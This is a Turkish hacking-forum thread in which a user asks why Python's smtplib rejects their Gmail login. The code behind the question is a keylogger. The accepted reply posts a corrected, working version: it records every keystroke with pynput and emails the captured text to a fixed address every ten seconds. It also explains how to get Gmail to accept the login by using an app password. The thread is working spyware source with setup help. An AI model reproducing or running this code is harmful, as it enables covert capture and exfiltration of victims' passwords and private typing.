Python smtplib

Dao026

Üye
2 Şub 2022
59
6
python smtplib ile mail göndermeye çalışıyordum ama "smtplib.SMTPAuthenticationError: Username and Password not accepted" böyle bir hata ile karşılaştım bilen varsa söyleyebilirmi (kullanıcı adı ve şifre doğru)
 
Çözüm
Kod:
import pynput.keyboard
import smtplib
import threading
from email.message import EmailMessage
import ssl

metin = ""

def klavye_dinleyici(harf):
    global metin
    try:
        metin = metin + str(harf.char)
    except AttributeError:
        if harf == harf.space:
            metin += " "
        elif harf == harf.backspace:
            sayi = len(metin)
            sayi -= 1
            deger = 0
            yeni_metin = ""
            while sayi > deger:
                yeni_metin += metin[deger]
                deger += 1
            metin = yeni_metin
        else:
            metin = metin + str(harf)
    print(metin)

def mailgonderen(mesaj):
    global email_sender
    email_sender = "[email protected]"...

Dao026

Üye
2 Şub 2022
59
6
Mümkünse kodu paylaşa bilirmisin ?
import pynput.keyboard
import smtplib
import threading
from email.message import EmailMessage
import ssl
metin = ""
def klavyelisen(harf):
global metin
try:
metin = metin+str(harf.char)
except AttributeError:
if harf == harf.space:
metin += " "
elif harf == harf.backspace:
sayi = len(metin)
sayi -= 1
deger=0
yeni_metin = ""
while sayi>deger:
yeni_metin += metin[deger]
deger += 1
metin = yeni_metin
else:
metin = metin+str(harf)
print(metin)
email_sender = ""
def mailgonderen(mesaj):
global email_sender
email_sender = "sansür"
email_password = "sansür"
subject = "hack"
body = mesaj
email_to = "sansür"
em = EmailMessage()
em["From"] = email_sender
em["To"] = email_to
em["subject"] = subject
em.set_content(body)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as smtp:
smtp.login(email_sender,email_password)
smtp.sendmail(email_sender, email_to, em.as_string())
def timing():
global metin
mailgonderen(metin)
timer = threading.Timer(10,timing())
timer.start()
dinleme = pynput.keyboard.Listener(on_press=klavyelisen)
with dinleme:
timing()
dinleme.join()
 

Baudouin

Üye
14 Ağu 2022
89
8
Kod:
import pynput.keyboard
import smtplib
import threading
from email.message import EmailMessage
import ssl

metin = ""

def klavye_dinleyici(harf):
    global metin
    try:
        metin = metin + str(harf.char)
    except AttributeError:
        if harf == harf.space:
            metin += " "
        elif harf == harf.backspace:
            sayi = len(metin)
            sayi -= 1
            deger = 0
            yeni_metin = ""
            while sayi > deger:
                yeni_metin += metin[deger]
                deger += 1
            metin = yeni_metin
        else:
            metin = metin + str(harf)
    print(metin)

def mailgonderen(mesaj):
    global email_sender
    email_sender = "[email protected]"
    email_password = "gonderen_sifresi"
    subject = "Klavye Dinleyicisi"
    body = mesaj
    email_to = "[email protected]"
    em = EmailMessage()
    em["From"] = email_sender
    em["To"] = email_to
    em["subject"] = subject
    em.set_content(body)
    context = ssl.create_default_context()
    with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as smtp:
        smtp.login(email_sender, email_password)
        smtp.sendmail(email_sender, email_to, em.as_string())

def timing():
    global metin
    mailgonderen(metin)
    timer = threading.Timer(10, timing)
    timer.start()

dinleme = pynput.keyboard.Listener(on_press=klavye_dinleyici)
dinleme.start()

timing()
dinleme.join()

Şifreye gmail şifresini yazma. İkili doğrulamayı aç. Application passworda, pythonu ekle ve sana verilen şifreyi gir.
 
Son düzenleme:
Çözüm
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.